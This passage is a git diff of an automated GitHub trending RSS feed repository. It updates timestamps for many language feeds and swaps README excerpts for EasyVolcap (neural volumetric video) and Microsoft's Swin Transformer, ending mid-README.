2024-01-05T01:40:17Z + 2024-01-06T01:38:34Z Daily Trending of Propeller Spin in GitHub \ No newline at end of file diff --git a/protocol-buffer-text-format/daily/index.xml b/protocol-buffer-text-format/daily/index.xml index b161da4027f..65fa6ebd966 100644 --- a/protocol-buffer-text-format/daily/index.xml +++ b/protocol-buffer-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:17Z + 2024-01-06T01:38:34Z Daily Trending of Protocol Buffer Text Format in GitHub \ No newline at end of file diff --git a/protocol-buffer/daily/index.xml b/protocol-buffer/daily/index.xml index 3fab742d124..054dfdab008 100644 --- a/protocol-buffer/daily/index.xml +++ b/protocol-buffer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:18Z + 2024-01-06T01:38:32Z Daily Trending of Protocol Buffer in GitHub \ No newline at end of file diff --git a/public-key/daily/index.xml b/public-key/daily/index.xml index 17eebe0a96b..9516c89949d 100644 --- a/public-key/daily/index.xml +++ b/public-key/daily/index.xml @@ -1,7 +1,7 @@ GitHub Public Key Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:19Z + 2024-01-06T01:38:33Z Daily Trending of Public Key in GitHub \ No newline at end of file diff --git a/pug/daily/index.xml b/pug/daily/index.xml index 9b8f8628153..67581ad9917 100644 --- a/pug/daily/index.xml +++ b/pug/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pug Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:22Z + 2024-01-06T01:38:37Z Daily Trending of Pug in GitHub \ No newline at end of file diff --git a/puppet/daily/index.xml b/puppet/daily/index.xml index db7219cf3fe..d06d8f392b1 100644 --- a/puppet/daily/index.xml +++ b/puppet/daily/index.xml @@ -1,7 +1,14 @@ GitHub Puppet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:23Z + 2024-01-06T01:38:38Z Daily Trending of Puppet in GitHub + + davekerber/vagrant-example + 2024-01-06T01:38:38Z + tag:github.com,2024-01-06:/davekerber/vagrant-example + + <p>An Example Usage of Vagrant</p><hr> + \ No newline at end of file diff --git a/pure-data/daily/index.xml b/pure-data/daily/index.xml index 28fc3cd1ce8..ab71fc4443d 100644 --- a/pure-data/daily/index.xml +++ b/pure-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pure Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:20Z + 2024-01-06T01:38:35Z Daily Trending of Pure Data in GitHub \ No newline at end of file diff --git a/purebasic/daily/index.xml b/purebasic/daily/index.xml index 490f2736bb1..0449cd68316 100644 --- a/purebasic/daily/index.xml +++ b/purebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub PureBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:24Z + 2024-01-06T01:38:36Z Daily Trending of PureBasic in GitHub \ No newline at end of file diff --git a/purescript/daily/index.xml b/purescript/daily/index.xml index 7cbc94a1ecf..0898fa35469 100644 --- a/purescript/daily/index.xml +++ b/purescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PureScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:27Z + 2024-01-06T01:38:42Z Daily Trending of PureScript in GitHub \ No newline at end of file diff --git a/python-console/daily/index.xml b/python-console/daily/index.xml index 41827eac6d8..36665961715 100644 --- a/python-console/daily/index.xml +++ b/python-console/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python console Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:25Z + 2024-01-06T01:38:39Z Daily Trending of Python console in GitHub \ No newline at end of file diff --git a/python-traceback/daily/index.xml b/python-traceback/daily/index.xml index 2e440be1012..db475e4b005 100644 --- a/python-traceback/daily/index.xml +++ b/python-traceback/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python traceback Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:00Z + 2024-01-06T01:39:00Z Daily Trending of Python traceback in GitHub \ No newline at end of file diff --git a/python/daily/index.xml b/python/daily/index.xml index 3665b8c33ed..af78b6e3b98 100644 --- a/python/daily/index.xml +++ b/python/daily/index.xml @@ -1,28 +1,28 @@ GitHub Python Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:31Z + 2024-01-06T01:38:45Z Daily Trending of Python in GitHub - zju3dv/EasyVolcap - 2024-01-05T01:40:31Z - tag:github.com,2024-01-05:/zju3dv/EasyVolcap - - <p>EasyVolcap: Accelerating Neural Volumetric Video Research</p><hr><img src="https://github.com/dendenxu/easyvolcap.github.io.assets/assets/43734697/de41df46-25e6-456c-a253-90d7807b2a9a" alt="logo" width="33%"> <p><strong><em><strong>EasyVolcap</strong></em>: Accelerating Neural Volumetric Video Research</strong></p> <p><img src="https://img.shields.io/github/languages/top/zju3dv/EasyVolcap" alt="python"> <img src="https://img.shields.io/github/stars/zju3dv/EasyVolcap" alt="star"> <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/license"><img src="https://img.shields.io/badge/license-zju3dv-white" alt="license"></a></p> <p><a href="https://dl.acm.org/doi/10.1145/3610543.3626173">Paper</a> | <a href="https://arxiv.org/abs/2312.06575">arXiv</a> | <a href="https://drive.google.com/file/d/1XxeO7TnAPvDugnxguEF5Jp89ERS9CAia/view?usp=sharing">Example Dataset</a> | <a href="https://drive.google.com/file/d/1OFBFxes9kje02RARFpYpQ6SkmYlulYca/view?usp=sharing">Pretrained Model</a> | <a href="https://zju3dv.github.io/4k4d">4K4D</a></p> <p><em><strong>News</strong></em>:</p> <ul> <li>23.12.13 <em><strong>EasyVolcap</strong></em> will be presented at SIGGRAPH Asia 2023, Sydney.</li> <li>23.10.17 <a href="https://zju3dv.github.io/4k4d"><em><strong>4K4D</strong></em></a>, a real-time 4D view synthesis algorithm developed using <em><strong>EasyVolcap</strong></em>, has been made public.</li> </ul> <p><em><strong>EasyVolcap</strong></em> is a PyTorch library for accelerating neural volumetric video research, particularly in areas of <strong>volumetric video capturing</strong>, reconstruction, and rendering.</p> <p><a href="https://github.com/zju3dv/EasyVolcap/assets/43734697/14fdfb46-5277-4963-ba75-067ea574c87a">https://github.com/zju3dv/EasyVolcap/assets/43734697/14fdfb46-5277-4963-ba75-067ea574c87a</a></p> <h2>Installation</h2> <p>Copy and paste version of the installation process listed below. For a more thorough explanation, read on.</p> <pre><code class="language-shell"># Prepare conda environment conda install -n base mamba -y -c conda-forge conda create -n easyvolcap "python&gt;=3.10" -y conda activate easyvolcap # Install conda dependencies mamba env update # Install pip dependencies cat requirements.txt | sed -e '/^\s*#.*$/d' -e '/^\s*$/d' | xargs -n 1 pip install # Register EasyVolcp for imports pip install -e . --no-build-isolation --no-deps </code></pre> <p>We opted to use the latest <code>pyproject.toml</code> style packing system for exposing command line interfaces. It creates a virtual environment for building dependencies by default, which could be quite slow. Disabled with <code>--no-build-isolation</code>. You should create a <code>conda</code> or <code>mamba</code> (recommended) environment for development, and install the dependencies manually. If the existing environment with <code>PyTorch</code> installed can be utilized, you can jump straight to installing the <code>pip</code> dependencies. More details about installing on <em>Windows</em> or compiling <em>CUDA</em> modules can be found in <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/install.md"><code>install.md</code></a>.</p> <p>Note: <code>pip</code> dependencies can sometimes fail to install &amp; build. However, not all of them are strictly required for <em><strong>EasyVolcap</strong></em>.</p> <ul> <li>The core ones include <code>tinycudann</code> and <code>pytorch3d</code>. Make sure those are built correctly and you'll be able to use most of the functionality of <em><strong>EasyVolcap</strong></em>.</li> <li>It's also OK to install missing packages manually when <em><strong>EasyVolcap</strong></em> reports that they are missing since we lazy load a lot of them (<code>tinycudann</code>, <code>diff_gauss</code>, <code>open3d</code> etc.).</li> <li>Just be sure to check how we listed the missing package in <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/requirements.txt"><code>requirements.txt</code></a> before performing <code>pip install</code> on them. Some packages require to be installed from GitHub.</li> <li>If the <code>mamba env update</code> step fails due to network issues, it is OK to proceed with pip installs since <code>PyTorch</code> will also be installed by pip.</li> </ul> <h2>Usage</h2> <p><em><strong>EasyVolcap</strong></em> now supports direct import from other locations &amp; codebases. After installing, you can not only directly use utility modules and functions from <code>easyvolcap.utils</code>, but also import and build upon our core modules and classes.</p> <pre><code class="language-python"># Import the logging and debugging functions from easyvolcap.utils.console_utils import * # log, tqdm, @catch_throw from easyvolcap.utils.timer_utils import timer # timer.record from easyvolcap.utils.data_utils import export_pts, export_mesh, export_npz ... # Import the OpenGL-based viewer and build upon it from easyvolcap.runners.volumetric_video_viewer import VolumetricVideoViewer class CustomViewer(VolumetricVideoViewer): ... </code></pre> <p>The import will work when actually running the code, but it might fail since some of the autocompletion module <a href="https://code.visualstudio.com/docs/python/editing#_importresolvefailure">is not fully compatible with the newest editable install</a>.</p> <p>If you see warnings when importing <em><strong>EasyVolcap</strong></em> in your editor like VSCode, you might want to add the path of your <em><strong>EasyVolcap</strong></em> codebase to the <code>python.autoComplete.extraPaths</code> and <code>python.analysis.extraPaths</code> like this:</p> <pre><code class="language-json">{ ... "python.autoComplete.extraPaths": ["/home/zju3dv/code/easyvolcap"], "python.analysis.extraPaths": ["/home/zju3dv/code/easyvolcap"] } </code></pre> <p>Another solution is to replace the installation command of <em><strong>EasyVolcap</strong></em> with a compatible one <a href="https://microsoft.github.io/pyright/#/import-resolution?id=editable-installs">using compatible editable install</a>:</p> <pre><code class="language-shell">pip install -e . --no-build-isolation --no-deps --config-settings editable_mode=compat </code></pre> <p>Note that this is <a href="https://setuptools.pypa.io/en/latest/userguide/development_mode.html#legacy-behavior">marked deprecated in the PEP specification</a>. Thus our recommendation is to change the setting of your editor instead.</p> <h3>New Project Based on <em><strong>EasyVolcap</strong></em></h3> <p>If you're interested in developing or researching with <em><strong>EasyVolcap</strong></em>, the recommended way is to fork the repository and modify or append to our source code directly instead of using <em><strong>EasyVolcap</strong></em> as a module.</p> <p>After cloning and forking, add <a href="https://github.com/zju3dv/EasyVolcap">https://github.com/zju3dv/EasyVolcap</a> as an <code>upstream</code> if you want to receive updates from our side. Use <code>git fetch upstream</code> to pull and merge our updates to <em><strong>EasyVolcap</strong></em> to your new project if needed. The following code block provides an example of this development process.</p> <p>Our recent project <a href="https://github.com/zju3dv/4K4D">4K4D</a> is developed in this fashion.</p> <pre><code class="language-shell"># Prepare name and GitHub repo of your new project project=4K4D repo=https://github.com/zju3dv/${project} # Clone EasyVolcap and add our repo as an upstream git clone https://github.com/zju3dv/EasyVolcap ${project} # Setup the remote of your new project git set-url origin ${repo} # Add EasyVolcap as upstream git remote add upstream https://github.com/zju3dv/EasyVolcap # If EasyVolcap updates, fetch the updates and maybe merge with it git fetch upstream git merge upstream/main </code></pre> <p>Nevertheless, we still encourage you to read on and possibly follow the tutorials in the <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/#examples">Examples</a> section and maybe read our design documents in the <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/#design-docs">Design Docs</a> section to grasp an understanding of how <em><strong>EasyVolcap</strong></em> works as a project.</p> <h2>Examples</h2> <p>In the following sections, we'll show examples of how to run <em><strong>EasyVolcap</strong></em> on a small multi-view video dataset with several of our implemented algorithms, including Instant-NGP+T, 3DGS+T, and ENeRFi (ENeRF Improved). In the documentation <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/misc/static.md"><code>static.md</code></a>, we also provide a complete example of how to prepare the dataset using COLMAP and run the above-mentioned three models using <em><strong>EasyVolcap</strong></em>.</p> <p>The example dataset for this section can be downloaded from <a href="https://drive.google.com/file/d/1XxeO7TnAPvDugnxguEF5Jp89ERS9CAia/view?usp=sharing">this Google Drive link</a>. After downloading the example dataset, place the unzipped files inside <code>data/enerf_outdoor</code> such that you can see files like:</p> <ul> <li><code>data/enerf_outdoor/actor1_4_subseq/images</code></li> <li><code>data/enerf_outdoor/actor1_4_subseq/intri.yml</code></li> <li><code>data/enerf_outdoor/actor1_4_subseq/extri.yml</code></li> </ul> <p>This dataset is a small subset of the <a href="https://github.com/zju3dv/ENeRF/raw/master/docs/enerf_outdoor.md">ENeRF-Outdoor</a> dataset released by our team. For downloading the full dataset, please follow the guide in the <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/(https://github.com/zju3dv/ENeRF/raw/master/docs/enerf_outdoor.md)">link</a>.</p> <h3>Dataset Structure</h3> <pre><code class="language-shell">data/dataset/sequence # data_root &amp; datadir โ”œโ”€โ”€ intri.yml # required: intrinsics โ”œโ”€โ”€ extri.yml # required: extrinsics โ””โ”€โ”€ images # required: source images &nbsp;&nbsp; โ”œโ”€โ”€ 000000 # camera / frame &nbsp;&nbsp; โ”‚ โ”œโ”€โ”€ 000000.jpg # image &nbsp;&nbsp; โ”‚ โ”œโ”€โ”€ 000001.jpg # for dynamic dataset, more images can be placed here โ”‚ ... &nbsp;&nbsp; โ”‚ โ”œโ”€โ”€ 000298.jpg # for dynamic dataset, more images can be placed here &nbsp;&nbsp; โ”‚ โ””โ”€โ”€ 000299.jpg # for dynamic dataset, more images can be placed here &nbsp;&nbsp; โ”œโ”€โ”€ 000001 &nbsp;&nbsp; โ”œโ”€โ”€ 000002 ... &nbsp;&nbsp; โ”œโ”€โ”€ 000058 &nbsp;&nbsp; โ””โ”€โ”€ 000059 </code></pre> <p><em><strong>EasyVolcap</strong></em> is designed to work on the simplest data form: <code>images</code> and no more. The key data preprocessing are done in the <code>dataloader</code> and <code>dataset</code> modules. These steps are done in the dataloader's initialization</p> <ol> <li>We might correct the camera pose with their center of attention and world-up vector (<code>dataloader_cfg.dataset_cfg.use_aligned_cameras=True</code>).</li> <li>We undistort read images from the disk using the intrinsic poses and store them as jpeg bytes in memory.</li> </ol> <p>Before running the model, let's first prepare some shell variables for easy access.</p> <pre><code class="language-shell">expname=actor1_4_subseq datadir=data/enerf_outdoor/actor1_4_subseq </code></pre> <h3>Running Instant-NGP+T</h3> <p>We extend Instant-NGP to be time-aware, as a baseline method. With the data preparation completed, we've got an <code>images</code> folder and a pair of <code>intri.yml</code> and <code>extri.yml</code> files, and we can run the l3mhet model. Note that this model is not built for dynamic scenes, we train it here mainly for extracting initialization point clouds and computing a tighter bounding box. Similar procedures can be applied to other datasets if such initialization is required.</p> <p>We need to write a config file for this model</p> <ol> <li>Write the data-folder-related stuff inside configs/datasets. Just copy and paste <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/configs/datasets/enerf_outdoor/actor1_4_subseq.yaml"><code>configs/datasets/enerf_outdoor/actor1_4_subseq.yaml</code></a> and modify the <code>data_root</code> and <code>bounds</code> (bounding box), or maybe add a camera near-far threshold.</li> <li>Write the experiment config inside configs/exps. Just copy and paste <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/configs/exps/l3mhet/l3mhet_actor1_4_subseq.yaml"><code>configs/exps/l3mhet/l3mhet_actor1_4_subseq.yaml</code></a> and modify the <code>dataset</code>-related line in <code>configs</code>.</li> </ol> <pre><code class="language-shell"># With your config files ready, you can run the following command to train the model evc -c configs/exps/l3mhet/l3mhet_${expname}.yaml # Now run the following command to render some output evc -t test -c configs/exps/l3mhet/l3mhet_${expname}.yaml,configs/specs/spiral.yaml </code></pre> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/configs/specs/spiral.yaml"><code>configs/specs/spiral.yaml</code></a>: please check this file for more details, it's a collection of configs to tell the dataloader and visualizer to generate a spiral path by interpolating the given cameras</p> <h3>Running 3DGS+T</h3> <p><a href="https://github.com/dendenxu/easyvolcap.github.io.assets/assets/43734697/acd83f13-ba34-449c-96ce-e7b7b0781de4">https://github.com/dendenxu/easyvolcap.github.io.assets/assets/43734697/acd83f13-ba34-449c-96ce-e7b7b0781de4</a></p> <p>The original <a href="https://github.com/graphdeco-inria/gaussian-splatting">3DGS</a> uses the sparse reconstruction result of COLMAP for initialization. However, we found that the sparse reconstruction result often contains a lot of floating points, which is hard to prune for 3DGS and could easily make the model fail to converge. Thus, we opted to use the "dense" reconstruction result of our Instant-NGP+T implementation by computing the RGBD image for input views and concatenating them as the input of 3DGS. The script <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/scripts/tools/volume_fusion.py"><code>volume_fusion.py</code></a> controls this process and it should work similarly on all models that support depth output.</p> <p>The following script block provides an example of how to prepare an initialization for our 3DGS+T implementation.</p> <pre><code class="language-shell"># Extract geometry (point cloud) for initialization from the l3mhet model # Tune image sample rate and resizing ratio for a denser or sparser estimation python scripts/tools/volume_fusion.py -- -c configs/exps/l3mhet/l3mhet_${expname}.yaml val_dataloader_cfg.dataset_cfg.ratio=0.15 # Move the rendering results to the dataset folder source_folder="data/geometry/l3mhet_${expname}/POINT" destination_folder="${datadir}/vhulls" # Create the destination directory if it doesn't exist mkdir -p ${destination_folder} # Loop through all .ply files in the source directory for file in ${source_folder}/*.ply; do number=$(echo $(basename ${file}) | sed -e 's/frame\([0-9]*\).ply/\1/') formatted_number=$(printf "%06d" ${number}) destination_file="${destination_folder}/${formatted_number}.ply" cp ${file} ${destination_file} done </code></pre> <p>Our conventions for storing initialization point clouds:</p> <ul> <li>Raw point clouds extracted using Instant-NGP or Space Carving are placed inside the <code>vhulls</code> folder. These files might be large. It's OK to directly optimize 3DGS+T on these.</li> <li>We might perform some cleanup of the point clouds and store them in the <code>surfs</code> folder. <ul> <li>For 3DGS+T, the cleaned-up point clouds might be easier to optimize since 3DGS is good at growing details but not so good at dealing with floaters (removing or splitting).</li> <li>For other representations, the cleaned-up point clouds work better than the visual hull (from Space Carving) but might not work so well as the raw point clouds of Instant-NGP.</li> </ul> </li> </ul> <p>Then, prepare an experiment config like <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/configs/exps/gaussiant/gaussiant_actor1_4_subseq.yaml"><code>configs/exps/gaussiant/gaussiant_actor1_4_subseq.yaml</code></a>. The <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/configs/specs/colmap.yaml"><code>colmap.yaml</code></a> provides some heuristics for large-scale static scenes. Remove these if you're not planning on using COLMAP's parameters directly.</p> <pre><code class="language-shell"># Train a 3DGS model on the ${expname} dataset evc -c configs/exps/gaussiant/gaussiant_${expname}.yaml # might run out of VRAM, try reducing densify until iter # Perform rendering on the trained ${expname} dataset evc -t test -c configs/exps/gaussiant/gaussiant_${expname}.yaml,configs/specs/superm.yaml,configs/specs/spiral.yaml # Perform rendering with GUI, do this on a machine with monitor, tested on Windows and Ubuntu evc -t gui -c configs/exps/gaussiant/gaussiant_${expname}.yaml,configs/specs/superm.yaml </code></pre> <p>The <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/configs/specs/superm.yaml"><code>superm.yaml</code></a> skips the loading of input images and other initializations for network-only rendering since all the information we need is contained inside the trained model.</p> <h3>Inferencing With ENeRFi</h3> <p><a href="https://github.com/dendenxu/easyvolcap.github.io.assets/assets/43734697/68401485-85fe-477f-9144-976bb2ee8d3c">https://github.com/dendenxu/easyvolcap.github.io.assets/assets/43734697/68401485-85fe-477f-9144-976bb2ee8d3c</a></p> <p><a href="https://github.com/dendenxu/easyvolcap.github.io.assets/assets/43734697/6d60f2a4-6692-43e8-b682-aa27fcdf9516">https://github.com/dendenxu/easyvolcap.github.io.assets/assets/43734697/6d60f2a4-6692-43e8-b682-aa27fcdf9516</a></p> <p>The pre-trained model for ENeRFi on the DTU dataset can be downloaded from <a href="https://drive.google.com/file/d/1OFBFxes9kje02RARFpYpQ6SkmYlulYca/view?usp=sharing">this Google Drive link</a>. After downloading, rename the model to <code>latest.npz</code> and place it in <code>data/trained_model/enerfi_dtu</code>.</p> <pre><code class="language-shell"># Render ENeRFi with pretrained model evc -t test -c configs/exps/enerfi/enerfi_${expname}.yaml,configs/specs/spiral.yaml,configs/specs/ibr.yaml runner_cfg.visualizer_cfg.save_tag=${expname} exp_name=enerfi_dtu # Render ENeRFi with GUI evc -t gui -c configs/exps/enerfi/enerfi_${expname}.yaml exp_name=enerfi_dtu # 2.5 FPS on 3060 </code></pre> <p>If more performance is desired:</p> <pre><code class="language-shell"># Fine quality, faster rendering evc -t gui -c configs/exps/enerfi/enerfi_actor1_4_subseq.yaml exp_name=enerfi_dtu model_cfg.sampler_cfg.n_planes=32,8 model_cfg.sampler_cfg.n_samples=4,1 # 3.6 FPS on 3060 # Worst quality, fastest rendering evc -t gui -c configs/exps/enerfi/enerfi_actor1_4_subseq.yaml,configs/specs/fp16.yaml exp_name=enerfi_dtu model_cfg.sampler_cfg.n_planes=32,8 model_cfg.sampler_cfg.n_samples=4,1 # 5.0 FPS on 3060 </code></pre> <h2>Documentations</h2> <ul> <li><input type="checkbox" disabled> Documentations are still WIP. We'll gradually add more guides and examples, especially regarding the usage of <em><strong>EasyVolcap</strong></em>'s various systems.</li> </ul> <h3>Design Docs</h3> <p>The documentation contained in the <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design"><code>docs/design</code></a> directory contains explanations of design choices and various best practices when developing with <em><strong>EasyVolcap</strong></em>.</p> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/main.md"><code>docs/design/main.md</code></a>: Gives an overview of the structure of the <em><strong>EasyVolcap</strong></em> codebase.</p> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/config.md"><code>docs/design/config.md</code></a>: Thoroughly explains the commandline and configuration API of <em><strong>EasyVolcap</strong></em>.</p> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/dataset.md"><code>docs/design/dataset.md</code></a></p> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/logging.md"><code>docs/design/logging.md</code></a></p> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/model.md"><code>docs/design/model.md</code></a></p> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/runner.md"><code>docs/design/runner.md</code></a></p> <p><a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/docs/design/viewer.md"><code>docs/design/viewer.md</code></a></p> <h3>Project Docs</h3> <h3>Misc Docs</h3> <h2>Acknowledgments</h2> <p>We would like to acknowledge the following inspiring prior work:</p> <ul> <li><a href="https://github.com/zju3dv/EasyMocap">EasyMocap: Make Human Motion Capture Easier</a></li> <li><a href="https://github.com/openxrlab/xrnerf">XRNeRF: OpenXRLab Neural Radiance Field (NeRF) Toolbox and Benchmark</a></li> <li><a href="https://github.com/nerfstudio-project/nerfstudio">Nerfstudio: A Modular Framework for Neural Radiance Field Development</a></li> <li><a href="https://github.com/ocornut/imgui">Dear ImGui: Bloat-Free Graphical User Interface for C++ With Minimal Dependencies</a></li> <li><a href="https://github.com/zju3dv/neuralbody">Neural Body: Implicit Neural Representations with Structured Latent Codes</a></li> <li><a href="https://github.com/zju3dv/ENeRF">ENeRF: Efficient Neural Radiance Fields for Interactive Free-Viewpoint Video</a></li> <li><a href="https://github.com/NVlabs/instant-ngp">Instant Neural Graphics Primitives with a Multiresolution Hash Encoding</a></li> <li><a href="https://github.com/graphdeco-inria/gaussian-splatting">3D Gaussian Splatting for Real-Time Radiance Field Rendering</a></li> </ul> <h2>License</h2> <p><em><strong>EasyVolcap</strong></em>'s license can be found <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/license">here</a>.</p> <p>Note that the license of the algorithms or other components implemented in <em><strong>EasyVolcap</strong></em> might be different from the license of <em><strong>EasyVolcap</strong></em> itself. You will have to install their respective modules to use them in <em><strong>EasyVolcap</strong></em> following the guide in the <a href="https://raw.githubusercontent.com/zju3dv/EasyVolcap/main/#installation">installation section</a>. Please refer to their respective licensing terms if you're planning on using them.</p> <h2>Citation</h2> <p>If you find this code useful for your research, please cite us using the following BibTeX entry. If you used our implementation of other methods, please also cite them separately.</p> <pre><code class="language-bibtex">@article{xu2023easyvolcap, title={EasyVolcap: Accelerating Neural Volumetric Video Research}, author={Xu, Zhen and Xie, Tao and Peng, Sida and Lin, Haotong and Shuai, Qing and Yu, Zhiyuan and He, Guangzhao and Sun, Jiaming and Bao, Hujun and Zhou, Xiaowei}, booktitle={SIGGRAPH Asia 2023 Technical Communications}, year={2023} } @article{xu20234k4d, title={4K4D: Real-Time 4D View Synthesis at 4K Resolution}, author={Xu, Zhen and Peng, Sida and Lin, Haotong and He, Guangzhao and Sun, Jiaming and Shen, Yujun and Bao, Hujun and Zhou, Xiaowei}, booktitle={arXiv preprint arXiv:2310.11448}, year={2023} } </code></pre> + microsoft/Swin-Transformer + 2024-01-06T01:38:45Z + tag:github.com,2024-01-06:/microsoft/Swin-Transformer + + <p>This is an official implementation for "Swin Transformer: Hierarchical Vision Transformer using Shifted Windows".</p><hr><h1>Swin Transformer</h1> <p><a href="https://paperswithcode.com/sota/object-detection-on-coco?p=swin-transformer-v2-scaling-up-capacity-and"><img src="https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/swin-transformer-v2-scaling-up-capacity-and/object-detection-on-coco" alt="PWC"></a> <a href="https://paperswithcode.com/sota/instance-segmentation-on-coco?p=swin-transformer-v2-scaling-up-capacity-and"><img src="https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/swin-transformer-v2-scaling-up-capacity-and/instance-segmentation-on-coco" alt="PWC"></a> <a href="https://paperswithcode.com/sota/semantic-segmentation-on-ade20k?p=swin-transformer-v2-scaling-up-capacity-and"><img src="https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/swin-transformer-v2-scaling-up-capacity-and/semantic-segmentation-on-ade20k" alt="PWC"></a> <a href="https://paperswithcode.com/sota/action-classification-on-kinetics-400?p=swin-transformer-v2-scaling-up-capacity-and"><img src="https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/swin-transformer-v2-scaling-up-capacity-and/action-classification-on-kinetics-400" alt="PWC"></a></p> <p>This repo is the official implementation of <a href="https://arxiv.org/pdf/2103.14030.pdf">"Swin Transformer: Hierarchical Vision Transformer using Shifted Windows"</a> as well as the follow-ups. It currently includes code and models for the following tasks:</p> <blockquote> <p><strong>Image Classification</strong>: Included in this repo. See <a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/get_started.md">get_started.md</a> for a quick start.</p> </blockquote> <blockquote> <p><strong>Object Detection and Instance Segmentation</strong>: See <a href="https://github.com/SwinTransformer/Swin-Transformer-Object-Detection">Swin Transformer for Object Detection</a>.</p> </blockquote> <blockquote> <p><strong>Semantic Segmentation</strong>: See <a href="https://github.com/SwinTransformer/Swin-Transformer-Semantic-Segmentation">Swin Transformer for Semantic Segmentation</a>.</p> </blockquote> <blockquote> <p><strong>Video Action Recognition</strong>: See <a href="https://github.com/SwinTransformer/Video-Swin-Transformer">Video Swin Transformer</a>.</p> </blockquote> <blockquote> <p><strong>Semi-Supervised Object Detection</strong>: See <a href="https://github.com/microsoft/SoftTeacher">Soft Teacher</a>.</p> </blockquote> <blockquote> <p><strong>SSL: Contrasitive Learning</strong>: See <a href="https://github.com/SwinTransformer/Transformer-SSL">Transformer-SSL</a>.</p> </blockquote> <blockquote> <p><strong>SSL: Masked Image Modeling</strong>: See <a href="https://github.com/microsoft/Swin-Transformer/raw/main/get_started.md#simmim-support">get_started.md#simmim-support</a>.</p> </blockquote> <blockquote> <p><strong>Mixture-of-Experts</strong>: See <a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/get_started.md#mixture-of-experts-support">get_started</a> for more instructions.</p> </blockquote> <blockquote> <p><strong>Feature-Distillation</strong>: See <a href="https://github.com/SwinTransformer/Feature-Distillation">Feature-Distillation</a>.</p> </blockquote> <h2>Updates</h2> <p><em><strong>12/29/2022</strong></em></p> <ol> <li><strong>Nvidia</strong>'s <a href="https://github.com/NVIDIA/FasterTransformer/raw/main/docs/swin_guide.md">FasterTransformer</a> now supports Swin Transformer V2 inference, which have significant speed improvements on <code>T4 and A100 GPUs</code>.</li> </ol> <p><em><strong>11/30/2022</strong></em></p> <ol> <li>Models and codes of <strong>Feature Distillation</strong> are released. Please refer to <a href="https://github.com/SwinTransformer/Feature-Distillation">Feature-Distillation</a> for details, and the checkpoints (FD-EsViT-Swin-B, FD-DeiT-ViT-B, FD-DINO-ViT-B, FD-CLIP-ViT-B, FD-CLIP-ViT-L).</li> </ol> <p><em><strong>09/24/2022</strong></em></p> <ol> <li> <p>Merged <a href="https://github.com/microsoft/SimMIM">SimMIM</a>, which is a <strong>Masked Image Modeling</strong> based pre-training approach applicable to Swin and SwinV2 (and also applicable for ViT and ResNet). Please refer to <a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/get_started.md#simmim-support">get started with SimMIM</a> to play with SimMIM pre-training.</p> </li> <li> <p>Released a series of Swin and SwinV2 models pre-trained using the SimMIM approach (see <a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/MODELHUB.md#simmim-pretrained-swin-v2-models">MODELHUB for SimMIM</a>), with model size ranging from SwinV2-Small-50M to SwinV2-giant-1B, data size ranging from ImageNet-1K-10% to ImageNet-22K, and iterations from 125k to 500k. You may leverage these models to study the properties of MIM methods. Please look into the <a href="https://arxiv.org/abs/2206.04664">data scaling</a> paper for more details.</p> </li> </ol> <p><em><strong>07/09/2022</strong></em></p> <p><code>News</code>:</p> <ol> <li>SwinV2-G achieves <code>61.4 mIoU</code> on ADE20K semantic segmentation (+1.5 mIoU over the previous SwinV2-G model), using an additional <a href="https://github.com/SwinTransformer/Feature-Distillation">feature distillation 